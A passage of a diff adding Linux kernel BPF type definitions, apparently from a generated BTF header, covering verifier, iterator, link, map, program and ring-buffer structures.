btf_id; + }; + }; + struct bpf_verifier_log *log; + bool is_retval; +}; + +struct bpf_map_ptr_state { + struct bpf_map *map_ptr; + bool poison; + bool unpriv; +}; + +struct bpf_loop_inline_state { + unsigned int initialized: 1; + unsigned int fit_for_inline: 1; + u32 callback_subprogno; +}; + +struct btf_struct_meta; + +struct bpf_insn_aux_data { + union { + enum bpf_reg_type ptr_type; + struct bpf_map_ptr_state map_ptr_state; + s32 call_imm; + u32 alu_limit; + struct { + u32 map_index; + u32 map_off; + }; + struct { + enum bpf_reg_type reg_type; + union { + struct { + struct btf *btf; + u32 btf_id; + }; + u32 mem_size; + }; + } btf_var; + struct bpf_loop_inline_state loop_inline_state; + }; + union { + u64 obj_new_size; + u64 insert_off; + }; + struct btf_struct_meta *kptr_struct_meta; + u64 map_key_state; + int ctx_field_size; + u32 seen; + bool sanitize_stack_spill; + bool zext_dst; + bool needs_zext; + bool storage_get_func_atomic; + bool is_iter_next; + bool call_with_percpu_alloc_ptr; + u8 alu_state; + u8 fastcall_pattern: 1; + u8 fastcall_spills_num: 3; + unsigned int orig_idx; + bool jmp_point; + bool prune_point; + bool force_checkpoint; + bool calls_callback; +}; + +typedef void (*bpf_insn_print_t)(void *, const char *, ...); + +typedef const char * (*bpf_insn_revmap_call_t)(void *, const struct bpf_insn *); + +typedef const char * (*bpf_insn_print_imm_t)(void *, const struct bpf_insn *, __u64); + +struct bpf_insn_cbs { + bpf_insn_print_t cb_print; + bpf_insn_revmap_call_t cb_call; + bpf_insn_print_imm_t cb_imm; + void *private_data; +}; + +struct bpf_iter_meta; + +struct bpf_iter__bpf_link { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_link *link; + }; +}; + +struct bpf_iter__bpf_map { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_map *map; + }; +}; + +struct bpf_iter__bpf_map_elem { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_map *map; + }; + union { + void *key; + }; + union { + void *value; + }; +}; + +struct bpf_iter__bpf_prog { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_prog *prog; + }; +}; + +struct bpf_iter__bpf_sk_storage_map { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_map *map; + }; + union { + struct sock *sk; + }; + union { + void *value; + }; +}; + +struct bpf_iter__cgroup { + union { + struct bpf_iter_meta *meta; + }; + union { + struct cgroup *cgroup; + }; +}; + +struct fib6_info; + +struct bpf_iter__ipv6_route { + union { + struct bpf_iter_meta *meta; + }; + union { + struct fib6_info *rt; + }; +}; + +struct kallsym_iter; + +struct bpf_iter__ksym { + union { + struct bpf_iter_meta *meta; + }; + union { + struct kallsym_iter *ksym; + }; +}; + +struct netlink_sock; + +struct bpf_iter__netlink { + union { + struct bpf_iter_meta *meta; + }; + union { + struct netlink_sock *sk; + }; +}; + +struct bpf_iter__sockmap { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_map *map; + }; + union { + void *key; + }; + union { + struct sock *sk; + }; +}; + +struct bpf_iter__task { + union { + struct bpf_iter_meta *meta; + }; + union { + struct task_struct *task; + }; +}; + +struct bpf_iter__task__safe_trusted { + struct bpf_iter_meta *meta; + struct task_struct *task; +}; + +struct bpf_iter__task_file { + union { + struct bpf_iter_meta *meta; + }; + union { + struct task_struct *task; + }; + u32 fd; + union { + struct file *file; + }; +}; + +struct bpf_iter__task_vma { + union { + struct bpf_iter_meta *meta; + }; + union { + struct task_struct *task; + }; + union { + struct vm_area_struct *vma; + }; +}; + +struct bpf_iter__tcp { + union { + struct bpf_iter_meta *meta; + }; + union { + struct sock_common *sk_common; + }; + uid_t uid; +}; + +struct udp_sock; + +struct bpf_iter__udp { + union { + struct bpf_iter_meta *meta; + }; + union { + struct udp_sock *udp_sk; + }; + uid_t uid; + long: 0; + int bucket; +}; + +struct unix_sock; + +struct bpf_iter__unix { + union { + struct bpf_iter_meta *meta; + }; + union { + struct unix_sock *unix_sk; + }; + uid_t uid; +}; + +struct bpf_iter_aux_info { + struct bpf_map *map; + struct { + struct cgroup *start; + enum bpf_cgroup_iter_order order; + } cgroup; + struct { + enum bpf_iter_task_type type; + u32 pid; + } task; +}; + +struct bpf_iter_bits { + __u64 __opaque[2]; +}; + +struct bpf_iter_bits_kern { + union { + unsigned long *bits; + unsigned long bits_copy; + }; + u32 nr_bits; + int bit; +}; + +struct bpf_iter_css { + __u64 __opaque[3]; +}; + +struct bpf_iter_css_kern { + struct cgroup_subsys_state *start; + struct cgroup_subsys_state *pos; + unsigned int flags; +}; + +struct bpf_iter_css_task { + __u64 __opaque[1]; +}; + +struct css_task_iter; + +struct bpf_iter_css_task_kern { + struct css_task_iter *css_it; +}; + +struct bpf_iter_target_info; + +struct bpf_iter_link { + struct bpf_link link; + struct bpf_iter_aux_info aux; + struct bpf_iter_target_info *tinfo; +}; + +union bpf_iter_link_info { + struct { + __u32 map_fd; + } map; + struct { + enum bpf_cgroup_iter_order order; + __u32 cgroup_fd; + __u64 cgroup_id; + } cgroup; + struct { + __u32 tid; + __u32 pid; + __u32 pid_fd; + } task; +}; + +struct bpf_iter_meta { + union { + struct seq_file *seq; + }; + u64 session_id; + u64 seq_num; +}; + +struct bpf_iter_meta__safe_trusted { + struct seq_file *seq; +}; + +struct bpf_iter_num { + __u64 __opaque[1]; +}; + +struct bpf_iter_num_kern { + int cur; + int end; +}; + +struct bpf_iter_seq_info; + +struct bpf_iter_priv_data { + struct bpf_iter_target_info *tinfo; + const struct bpf_iter_seq_info *seq_info; + struct bpf_prog *prog; + u64 session_id; + u64 seq_num; + bool done_stop; + long: 0; + u8 target_private[0]; +}; + +typedef int (*bpf_iter_attach_target_t)(struct bpf_prog *, union bpf_iter_link_info *, struct bpf_iter_aux_info *); + +typedef void (*bpf_iter_detach_target_t)(struct bpf_iter_aux_info *); + +typedef void (*bpf_iter_show_fdinfo_t)(const struct bpf_iter_aux_info *, struct seq_file *); + +struct bpf_link_info; + +typedef int (*bpf_iter_fill_link_info_t)(const struct bpf_iter_aux_info *, struct bpf_link_info *); + +typedef const struct bpf_func_proto * (*bpf_iter_get_func_proto_t)(enum bpf_func_id, const struct bpf_prog *); + +struct bpf_iter_reg { + const char *target; + bpf_iter_attach_target_t attach_target; + bpf_iter_detach_target_t detach_target; + bpf_iter_show_fdinfo_t show_fdinfo; + bpf_iter_fill_link_info_t fill_link_info; + bpf_iter_get_func_proto_t get_func_proto; + u32 ctx_arg_info_size; + u32 feature; + struct bpf_ctx_arg_aux ctx_arg_info[2]; + const struct bpf_iter_seq_info *seq_info; +}; + +struct bpf_iter_scx_dsq { + u64 __opaque[6]; +}; + +struct scx_dsq_list_node { + struct list_head node; + u32 flags; + u32 priv; +}; + +struct scx_dispatch_q; + +struct bpf_iter_scx_dsq_kern { + struct scx_dsq_list_node cursor; + struct scx_dispatch_q *dsq; + u64 slice; + u64 vtime; +}; + +struct bpf_iter_seq_array_map_info { + struct bpf_map *map; + void *percpu_value_buf; + u32 index; +}; + +struct bpf_iter_seq_hash_map_info { + struct bpf_map *map; + struct bpf_htab *htab; + void *percpu_value_buf; + u32 bucket_id; + u32 skip_elems; +}; + +typedef int (*bpf_iter_init_seq_priv_t)(void *, struct bpf_iter_aux_info *); + +typedef void (*bpf_iter_fini_seq_priv_t)(void *); + +struct bpf_iter_seq_info { + const struct seq_operations *seq_ops; + bpf_iter_init_seq_priv_t init_seq_private; + bpf_iter_fini_seq_priv_t fini_seq_private; + u32 seq_priv_size; +}; + +struct bpf_iter_seq_link_info { + u32 link_id; +}; + +struct bpf_iter_seq_map_info { + u32 map_id; +}; + +struct bpf_iter_seq_prog_info { + u32 prog_id; +}; + +struct bpf_iter_seq_sk_storage_map_info { + struct bpf_map *map; + unsigned int bucket_id; + unsigned int skip_elems; +}; + +struct pid_namespace; + +struct bpf_iter_seq_task_common { + struct pid_namespace *ns; + enum bpf_iter_task_type type; + u32 pid; + u32 pid_visiting; +}; + +struct bpf_iter_seq_task_file_info { + struct bpf_iter_seq_task_common common; + struct task_struct *task; + u32 tid; + u32 fd; +}; + +struct bpf_iter_seq_task_info { + struct bpf_iter_seq_task_common common; + u32 tid; +}; + +struct bpf_iter_seq_task_vma_info { + struct bpf_iter_seq_task_common common; + struct task_struct *task; + struct mm_struct *mm; + struct vm_area_struct *vma; + u32 tid; + unsigned long prev_vm_start; + unsigned long prev_vm_end; +}; + +struct bpf_iter_target_info { + struct list_head list; + const struct bpf_iter_reg *reg_info; + u32 btf_id; +}; + +struct bpf_iter_task { + __u64 __opaque[3]; +}; + +struct bpf_iter_task_kern { + struct task_struct *task; + struct task_struct *pos; + unsigned int flags; +}; + +struct bpf_iter_task_vma { + __u64 __opaque[1]; +}; + +struct bpf_iter_task_vma_kern_data; + +struct bpf_iter_task_vma_kern { + struct bpf_iter_task_vma_kern_data *data; +}; + +struct maple_enode; + +struct maple_alloc; + +struct ma_state { + struct maple_tree *tree; + unsigned long index; + unsigned long last; + struct maple_enode *node; + unsigned long min; + unsigned long max; + struct maple_alloc *alloc; + enum maple_status status; + unsigned char depth; + unsigned char offset; + unsigned char mas_flags; + unsigned char end; + enum store_type store_type; +}; + +struct vma_iterator { + struct ma_state mas; +}; + +struct mmap_unlock_irq_work; + +struct bpf_iter_task_vma_kern_data { + struct task_struct *task; + struct mm_struct *mm; + struct mmap_unlock_irq_work *work; + struct vma_iterator vmi; +}; + +struct bpf_jit_poke_descriptor { + void *tailcall_target; + void *tailcall_bypass; + void *bypass_addr; + void *aux; + union { + struct { + struct bpf_map *map; + u32 key; + } tail_call; + }; + bool tailcall_target_stable; + u8 adj_off; + u16 reason; + u32 insn_idx; +}; + +struct bpf_jmp_history_entry { + u32 idx; + u32 prev_idx: 22; + u32 flags: 10; + u64 linked_regs; +}; + +struct bpf_key { + struct key *key; + bool has_ref; +}; + +struct bpf_kfunc_btf { + struct btf *btf; + struct module *module; + u16 offset; +}; + +struct bpf_kfunc_btf_tab { + struct bpf_kfunc_btf descs[256]; + u32 nr_descs; +}; + +struct bpf_kfunc_call_arg_meta { + struct btf *btf; + u32 func_id; + u32 kfunc_flags; + const struct btf_type *func_proto; + const char *func_name; + u32 ref_obj_id; + u8 release_regno; + bool r0_rdonly; + u32 ret_btf_id; + u64 r0_size; + u32 subprogno; + struct { + u64 value; + bool found; + } arg_constant; + struct btf *arg_btf; + u32 arg_btf_id; + bool arg_owning_ref; + struct { + struct btf_field *field; + } arg_list_head; + struct { + struct btf_field *field; + } arg_rbtree_root; + struct { + enum bpf_dynptr_type type; + u32 id; + u32 ref_obj_id; + } initialized_dynptr; + struct { + u8 spi; + u8 frameno; + } iter; + struct { + struct bpf_map *ptr; + int uid; + } map; + u64 mem_size; +}; + +struct bpf_kfunc_desc { + struct btf_func_model func_model; + u32 func_id; + s32 imm; + u16 offset; + unsigned long addr; +}; + +struct bpf_kfunc_desc_tab { + struct bpf_kfunc_desc descs[256]; + u32 nr_descs; +}; + +struct bpf_line_info { + __u32 insn_off; + __u32 file_name_off; + __u32 line_off; + __u32 line_col; +}; + +struct bpf_link_info { + __u32 type; + __u32 id; + __u32 prog_id; + union { + struct { + __u64 tp_name; + __u32 tp_name_len; + } raw_tracepoint; + struct { + __u32 attach_type; + __u32 target_obj_id; + __u32 target_btf_id; + } tracing; + struct { + __u64 cgroup_id; + __u32 attach_type; + } cgroup; + struct { + __u64 target_name; + __u32 target_name_len; + union { + struct { + __u32 map_id; + } map; + }; + union { + struct { + __u64 cgroup_id; + __u32 order; + } cgroup; + struct { + __u32 tid; + __u32 pid; + } task; + }; + } iter; + struct { + __u32 netns_ino; + __u32 attach_type; + } netns; + struct { + __u32 ifindex; + } xdp; + struct { + __u32 map_id; + } struct_ops; + struct { + __u32 pf; + __u32 hooknum; + __s32 priority; + __u32 flags; + } netfilter; + struct { + __u64 addrs; + __u32 count; + __u32 flags; + __u64 missed; + __u64 cookies; + } kprobe_multi; + struct { + __u64 path; + __u64 offsets; + __u64 ref_ctr_offsets; + __u64 cookies; + __u32 path_size; + __u32 count; + __u32 flags; + __u32 pid; + } uprobe_multi; + struct { + __u32 type; + union { + struct { + __u64 file_name; + __u32 name_len; + __u32 offset; + __u64 cookie; + } uprobe; + struct { + __u64 func_name; + __u32 name_len; + __u32 offset; + __u64 addr; + __u64 missed; + __u64 cookie; + } kprobe; + struct { + __u64 tp_name; + __u32 name_len; + __u64 cookie; + } tracepoint; + struct { + __u64 config; + __u32 type; + __u64 cookie; + } event; + }; + } perf_event; + struct { + __u32 ifindex; + __u32 attach_type; + } tcx; + struct { + __u32 ifindex; + __u32 attach_type; + } netkit; + struct { + __u32 map_id; + __u32 attach_type; + } sockmap; + }; +}; + +struct bpf_link_ops { + void (*release)(struct bpf_link *); + void (*dealloc)(struct bpf_link *); + void (*dealloc_deferred)(struct bpf_link *); + int (*detach)(struct bpf_link *); + int (*update_prog)(struct bpf_link *, struct bpf_prog *, struct bpf_prog *); + void (*show_fdinfo)(const struct bpf_link *, struct seq_file *); + int (*fill_link_info)(const struct bpf_link *, struct bpf_link_info *); + int (*update_map)(struct bpf_link *, struct bpf_map *, struct bpf_map *); + __poll_t (*poll)(struct file *, struct poll_table_struct *); +}; + +struct bpf_link_primer { + struct bpf_link *link; + struct file *file; + int fd; + u32 id; +}; + +struct bpf_list_head { + __u64 __opaque[2]; +}; + +struct bpf_list_node { + __u64 __opaque[3]; +}; + +struct bpf_list_node_kern { + struct list_head list_head; + void *owner; +}; + +struct bpf_local_storage_data; + +struct bpf_local_storage_map; + +struct bpf_local_storage { + struct bpf_local_storage_data __attribute__((btf_type_tag("rcu"))) *cache[16]; + struct bpf_local_storage_map __attribute__((btf_type_tag("rcu"))) *smap; + struct hlist_head list; + void *owner; + struct callback_head rcu; + raw_spinlock_t lock; +}; + +struct bpf_local_storage_cache { + spinlock_t idx_lock; + u64 idx_usage_counts[16]; +}; + +struct bpf_local_storage_data { + struct bpf_local_storage_map __attribute__((btf_type_tag("rcu"))) *smap; + u8 data[0]; +}; + +struct bpf_local_storage_elem { + struct hlist_node map_node; + struct hlist_node snode; + struct bpf_local_storage __attribute__((btf_type_tag("rcu"))) *local_storage; + struct callback_head rcu; + long: 64; + struct bpf_local_storage_data sdata; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_local_storage_map_bucket; + +struct bpf_local_storage_map { + struct bpf_map map; + struct bpf_local_storage_map_bucket *buckets; + u32 bucket_log; + u16 elem_size; + u16 cache_idx; + struct bpf_mem_alloc selem_ma; + struct bpf_mem_alloc storage_ma; + bool bpf_ma; +}; + +struct bpf_local_storage_map_bucket { + struct hlist_head list; + raw_spinlock_t lock; +}; + +struct bpf_lpm_trie_key_hdr { + __u32 prefixlen; +}; + +struct bpf_lpm_trie_key_u8 { + union { + struct bpf_lpm_trie_key_hdr hdr; + __u32 prefixlen; + }; + __u8 data[0]; +}; + +struct bpf_lru_locallist { + struct list_head lists[2]; + u16 next_steal; + raw_spinlock_t lock; +}; + +struct bpf_lru_node { + struct list_head list; + u16 cpu; + u8 type; + u8 ref; +}; + +struct bpf_offloaded_map; + +struct bpf_map_dev_ops { + int (*map_get_next_key)(struct bpf_offloaded_map *, void *, void *); + int (*map_lookup_elem)(struct bpf_offloaded_map *, void *, void *); + int (*map_update_elem)(struct bpf_offloaded_map *, void *, void *, u64); + int (*map_delete_elem)(struct bpf_offloaded_map *, void *); +}; + +struct bpf_map_info { + __u32 type; + __u32 id; + __u32 key_size; + __u32 value_size; + __u32 max_entries; + __u32 map_flags; + char name[16]; + __u32 ifindex; + __u32 btf_vmlinux_value_type_id; + __u64 netns_dev; + __u64 netns_ino; + __u32 btf_id; + __u32 btf_key_type_id; + __u32 btf_value_type_id; + __u32 btf_vmlinux_id; + __u64 map_extra; +}; + +typedef u64 (*bpf_callback_t)(u64, u64, u64, u64, u64); + +struct bpf_prog_aux; + +struct bpf_map_ops { + int (*map_alloc_check)(union bpf_attr *); + struct bpf_map * (*map_alloc)(union bpf_attr *); + void (*map_release)(struct bpf_map *, struct file *); + void (*map_free)(struct bpf_map *); + int (*map_get_next_key)(struct bpf_map *, void *, void *); + void (*map_release_uref)(struct bpf_map *); + void * (*map_lookup_elem_sys_only)(struct bpf_map *, void *); + int (*map_lookup_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr __attribute__((btf_type_tag("user"))) *); + int (*map_lookup_and_delete_elem)(struct bpf_map *, void *, void *, u64); + int (*map_lookup_and_delete_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr __attribute__((btf_type_tag("user"))) *); + int (*map_update_batch)(struct bpf_map *, struct file *, const union bpf_attr *, union bpf_attr __attribute__((btf_type_tag("user"))) *); + int (*map_delete_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr __attribute__((btf_type_tag("user"))) *); + void * (*map_lookup_elem)(struct bpf_map *, void *); + long (*map_update_elem)(struct bpf_map *, void *, void *, u64); + long (*map_delete_elem)(struct bpf_map *, void *); + long (*map_push_elem)(struct bpf_map *, void *, u64); + long (*map_pop_elem)(struct bpf_map *, void *); + long (*map_peek_elem)(struct bpf_map *, void *); + void * (*map_lookup_percpu_elem)(struct bpf_map *, void *, u32); + void * (*map_fd_get_ptr)(struct bpf_map *, struct file *, int); + void (*map_fd_put_ptr)(struct bpf_map *, void *, bool); + int (*map_gen_lookup)(struct bpf_map *, struct bpf_insn *); + u32 (*map_fd_sys_lookup_elem)(void *); + void (*map_seq_show_elem)(struct bpf_map *, void *, struct seq_file *); + int (*map_check_btf)(const struct bpf_map *, const struct btf *, const struct btf_type *, const struct btf_type *); + int (*map_poke_track)(struct bpf_map *, struct bpf_prog_aux *); + void (*map_poke_untrack)(struct bpf_map *, struct bpf_prog_aux *); + void (*map_poke_run)(struct bpf_map *, u32, struct bpf_prog *, struct bpf_prog *); + int (*map_direct_value_addr)(const struct bpf_map *, u64 *, u32); + int (*map_direct_value_meta)(const struct bpf_map *, u64, u32 *); + int (*map_mmap)(struct bpf_map *, struct vm_area_struct *); + __poll_t (*map_poll)(struct bpf_map *, struct file *, struct poll_table_struct *); + unsigned long (*map_get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); + int (*map_local_storage_charge)(struct bpf_local_storage_map *, void *, u32); + void (*map_local_storage_uncharge)(struct bpf_local_storage_map *, void *, u32); + struct bpf_local_storage __attribute__((btf_type_tag("rcu"))) ** (*map_owner_storage_ptr)(void *); + long (*map_redirect)(struct bpf_map *, u64, u64); + bool (*map_meta_equal)(const struct bpf_map *, const struct bpf_map *); + int (*map_set_for_each_callback_args)(struct bpf_verifier_env *, struct bpf_func_state *, struct bpf_func_state *); + long (*map_for_each_callback)(struct bpf_map *, bpf_callback_t, void *, u64); + u64 (*map_mem_usage)(const struct bpf_map *); + int *map_btf_id; + const struct bpf_iter_seq_info *iter_seq_info; +}; + +struct llist_head { + struct llist_node *first; +}; + +struct rcuwait { + struct task_struct __attribute__((btf_type_tag("rcu"))) *task; +}; + +struct irq_work { + struct __call_single_node node; + void (*func)(struct irq_work *); + struct rcuwait irqwait; +}; + +struct bpf_mem_cache { + struct llist_head free_llist; + local_t active; + struct llist_head free_llist_extra; + struct irq_work refill_work; + struct obj_cgroup *objcg; + int unit_size; + int free_cnt; + int low_watermark; + int high_watermark; + int batch; + int percpu_size; + bool draining; + struct bpf_mem_cache *tgt; + struct llist_head free_by_rcu; + struct llist_node *free_by_rcu_tail; + struct llist_head waiting_for_gp; + struct llist_node *waiting_for_gp_tail; + struct callback_head rcu; + atomic_t call_rcu_in_progress; + struct llist_head free_llist_extra_rcu; + struct llist_head free_by_rcu_ttrace; + struct llist_head waiting_for_gp_ttrace; + struct callback_head rcu_ttrace; + atomic_t call_rcu_ttrace_in_progress; +}; + +struct bpf_mem_caches { + struct bpf_mem_cache cache[11]; +}; + +struct bpf_mount_opts { + kuid_t uid; + kgid_t gid; + umode_t mode; + u64 delegate_cmds; + u64 delegate_maps; + u64 delegate_progs; + u64 delegate_attachs; +}; + +struct bpf_mprog_fp { + struct bpf_prog *prog; +}; + +struct bpf_mprog_bundle; + +struct bpf_mprog_entry { + struct bpf_mprog_fp fp_items[64]; + struct bpf_mprog_bundle *parent; +}; + +struct bpf_mprog_cp { + struct bpf_link *link; +}; + +struct bpf_mprog_bundle { + struct bpf_mprog_entry a; + struct bpf_mprog_entry b; + struct bpf_mprog_cp cp_items[64]; + struct bpf_prog *ref; + atomic64_t revision; + u32 count; +}; + +struct bpf_nested_pt_regs { + struct pt_regs regs[3]; +}; + +struct bpf_nh_params { + u32 nh_family; + union { + u32 ipv4_nh; + struct in6_addr ipv6_nh; + }; +}; + +struct bpf_redirect_info { + u64 tgt_index; + void *tgt_value; + struct bpf_map *map; + u32 flags; + u32 map_id; + enum bpf_map_type map_type; + struct bpf_nh_params nh; + u32 kern_flags; +}; + +struct bpf_net_context { + struct bpf_redirect_info ri; + struct list_head cpu_map_flush_list; + struct list_head dev_map_flush_list; + struct list_head xskmap_map_flush_list; +}; + +struct bpf_netns_link { + struct bpf_link link; + enum bpf_attach_type type; + enum netns_bpf_attach_type netns_type; + struct net *net; + struct list_head node; +}; + +typedef unsigned int nf_hookfn(void *, struct sk_buff *, const struct nf_hook_state *); + +struct nf_hook_ops { + nf_hookfn *hook; + struct net_device *dev; + void *priv; + u8 pf; + enum nf_hook_ops_type hook_ops_type: 8; + unsigned int hooknum; + int priority; +}; + +struct nf_defrag_hook; + +struct bpf_nf_link { + struct bpf_link link; + struct nf_hook_ops hook_ops; + struct net *net; + u32 dead; + const struct nf_defrag_hook *defrag_hook; +}; + +struct bpf_prog_offload_ops; + +struct bpf_offload_dev { + const struct bpf_prog_offload_ops *ops; + struct list_head netdevs; + void *priv; +}; + +struct rhash_head { + struct rhash_head __attribute__((btf_type_tag("rcu"))) *next; +}; + +struct bpf_offload_netdev { + struct rhash_head l; + struct net_device *netdev; + struct bpf_offload_dev *offdev; + struct list_head progs; + struct list_head maps; + struct list_head offdev_netdevs; +}; + +struct bpf_offloaded_map { + struct bpf_map map; + struct net_device *netdev; + const struct bpf_map_dev_ops *dev_ops; + void *dev_priv; + struct list_head offloads; +}; + +struct bpf_perf_event_value { + __u64 counter; + __u64 enabled; + __u64 running; +}; + +struct bpf_perf_link { + struct bpf_link link; + struct file *perf_file; +}; + +struct bpf_pidns_info { + __u32 pid; + __u32 tgid; +}; + +struct bpf_preload_info { + char link_name[16]; + struct bpf_link *link; +}; + +struct bpf_preload_ops { + int (*preload)(struct bpf_preload_info *); + struct module *owner; +}; + +struct sock_filter { + __u16 code; + __u8 jt; + __u8 jf; + __u32 k; +}; + +struct bpf_prog_stats; + +struct sock_fprog_kern; + +struct bpf_prog { + u16 pages; + u16 jited: 1; + u16 jit_requested: 1; + u16 gpl_compatible: 1; + u16 cb_access: 1; + u16 dst_needed: 1; + u16 blinding_requested: 1; + u16 blinded: 1; + u16 is_func: 1; + u16 kprobe_override: 1; + u16 has_callchain_buf: 1; + u16 enforce_expected_attach_type: 1; + u16 call_get_stack: 1; + u16 call_get_func_ip: 1; + u16 tstamp_type_access: 1; + u16 sleepable: 1; + enum bpf_prog_type type; + enum bpf_attach_type expected_attach_type; + u32 len; + u32 jited_len; + u8 tag[8]; + struct bpf_prog_stats __attribute__((btf_type_tag("percpu"))) *stats; + int __attribute__((btf_type_tag("percpu"))) *active; + unsigned int (*bpf_func)(const void *, const struct bpf_insn *); + struct bpf_prog_aux *aux; + struct sock_fprog_kern *orig_prog; + union { + struct { + struct {} __empty_insns; + struct sock_filter insns[0]; + }; + struct { + struct {} __empty_insnsi; + struct bpf_insn insnsi[0]; + }; + }; +}; + +struct bpf_trampoline; + +struct bpf_prog_ops; + +struct btf_mod_pair; + +struct user_struct; + +struct bpf_token; + +struct bpf_prog_offload; + +struct exception_table_entry; + +struct bpf_prog_aux { + atomic64_t refcnt; + u32 used_map_cnt; + u32 used_btf_cnt; + u32 max_ctx_offset; + u32 max_pkt_offset; + u32 max_tp_access; + u32 stack_depth; + u32 id; + u32 func_cnt; + u32 real_func_cnt; + u32 func_idx; + u32 attach_btf_id; + u32 ctx_arg_info_size; + u32 max_rdonly_access; + u32 max_rdwr_access; + struct btf *attach_btf; + const struct bpf_ctx_arg_aux *ctx_arg_info; + struct mutex dst_mutex; + struct bpf_prog *dst_prog; + struct bpf_trampoline *dst_trampoline; + enum bpf_prog_type saved_dst_prog_type; + enum bpf_attach_type saved_dst_attach_type; + bool verifier_zext; + bool dev_bound; + bool offload_requested; + bool attach_btf_trace; + bool attach_tracing_prog; + bool func_proto_unreliable; + bool tail_call_reachable; + bool xdp_has_frags; + bool exception_cb; + bool exception_boundary; + struct bpf_arena *arena; + const struct btf_type *attach_func_proto; + const char *attach_func_name; + struct bpf_prog **func; + void *jit_data; + struct bpf_jit_poke_descriptor *poke_tab; + struct bpf_kfunc_desc_tab *kfunc_tab; + struct bpf_kfunc_btf_tab *kfunc_btf_tab; + u32 size_poke_tab; + struct bpf_ksym ksym; + const struct bpf_prog_ops *ops; + struct bpf_map **used_maps; + struct mutex used_maps_mutex; + struct btf_mod_pair *used_btfs; + struct bpf_prog *prog; + struct user_struct *user; + u64 load_time; + u32 verified_insns; + int cgroup_atype; + struct bpf_map *cgroup_storage[2]; + char name[16]; + u64 (*bpf_exception_cb)(u64, u64, u64, u64, u64); + struct bpf_token *token; + struct bpf_prog_offload *offload; + struct btf *btf; + struct bpf_func_info *func_info; + struct bpf_func_info_aux *func_info_aux; + struct bpf_line_info *linfo; + void **jited_linfo; + u32 func_info_cnt; + u32 nr_linfo; + u32 linfo_idx; + struct module *mod; + u32 num_exentries; + struct exception_table_entry *extable; + union { + struct work_struct work; + struct callback_head rcu; + }; +}; + +struct bpf_prog_dummy { + struct bpf_prog prog; +}; + +struct bpf_prog_info { + __u32 type; + __u32 id; + __u8 tag[8]; + __u32 jited_prog_len; + __u32 xlated_prog_len; + __u64 jited_prog_insns; + __u64 xlated_prog_insns; + __u64 load_time; + __u32 created_by_uid; + __u32 nr_map_ids; + __u64 map_ids; + char name[16]; + __u32 ifindex; + __u32 gpl_compatible: 1; + __u64 netns_dev; + __u64 netns_ino; + __u32 nr_jited_ksyms; + __u32 nr_jited_func_lens; + __u64 jited_ksyms; + __u64 jited_func_lens; + __u32 btf_id; + __u32 func_info_rec_size; + __u64 func_info; + __u32 nr_func_info; + __u32 nr_line_info; + __u64 line_info; + __u64 jited_line_info; + __u32 nr_jited_line_info; + __u32 line_info_rec_size; + __u32 jited_line_info_rec_size; + __u32 nr_prog_tags; + __u64 prog_tags; + __u64 run_time_ns; + __u64 run_cnt; + __u64 recursion_misses; + __u32 verified_insns; + __u32 attach_btf_obj_id; + __u32 attach_btf_id; +}; + +struct bpf_prog_kstats { + u64 nsecs; + u64 cnt; + u64 misses; +}; + +struct bpf_prog_list { + struct hlist_node node; + struct bpf_prog *prog; + struct bpf_cgroup_link *link; + struct bpf_cgroup_storage *storage[2]; +}; + +struct bpf_prog_offload { + struct bpf_prog *prog; + struct net_device *netdev; + struct bpf_offload_dev *offdev; + void *dev_priv; + struct list_head offloads; + bool dev_state; + bool opt_failed; + void *jited_image; + u32 jited_len; +}; + +struct bpf_prog_offload_ops { + int (*insn_hook)(struct bpf_verifier_env *, int, int); + int (*finalize)(struct bpf_verifier_env *); + int (*replace_insn)(struct bpf_verifier_env *, u32, struct bpf_insn *); + int (*remove_insns)(struct bpf_verifier_env *, u32, u32); + int (*prepare)(struct bpf_prog *); + int (*translate)(struct bpf_prog *); + void (*destroy)(struct bpf_prog *); +}; + +struct bpf_prog_ops { + int (*test_run)(struct bpf_prog *, const union bpf_attr *, union bpf_attr __attribute__((btf_type_tag("user"))) *); +}; + +struct bpf_prog_pack { + struct list_head list; + void *ptr; + unsigned long bitmap[0]; +}; + +struct bpf_prog_stats { + u64_stats_t cnt; + u64_stats_t nsecs; + u64_stats_t misses; + struct u64_stats_sync syncp; + long: 64; +}; + +struct bpf_queue_stack { + struct bpf_map map; + raw_spinlock_t lock; + u32 head; + u32 tail; + u32 size; + long: 0; + char elements[0]; +}; + +struct tracepoint; + +struct bpf_raw_event_map { + struct tracepoint *tp; + void *bpf_func; + u32 num_args; + u32 writable_size; + long: 64; +}; + +struct bpf_raw_tp_link { + struct bpf_link link; + struct bpf_raw_event_map *btp; + u64 cookie; +}; + +struct bpf_raw_tp_regs { + struct pt_regs regs[3]; +}; + +struct bpf_raw_tp_test_run_info { + struct bpf_prog *prog; + void *ctx; + u32 retval; +}; + +struct bpf_rb_node { + __u64 __opaque[4]; +}; + +struct bpf_rb_node_kern { + struct rb_node rb_node; + void *owner; +}; + +struct bpf_rb_root { + __u64 __opaque[2]; +}; + +struct bpf_redir_neigh { + __u32 nh_family; + union { + __be32 ipv4_nh; + __u32 ipv6_nh[4]; + }; +}; + +struct bpf_refcount { + __u32 __opaque[1]; +}; + +struct bpf_reference_state { + int id; + int insn_idx; + int callback_ref; +}; + +struct bpf_reg_types { + const enum bpf_reg_type types[10]; + u32 *btf_id; +}; + +struct bpf_ringbuf { + wait_queue_head_t waitq; + struct irq_work work; + u64 mask; + struct page **pages; + int nr_pages; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t spinlock; + atomic_t busy; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; 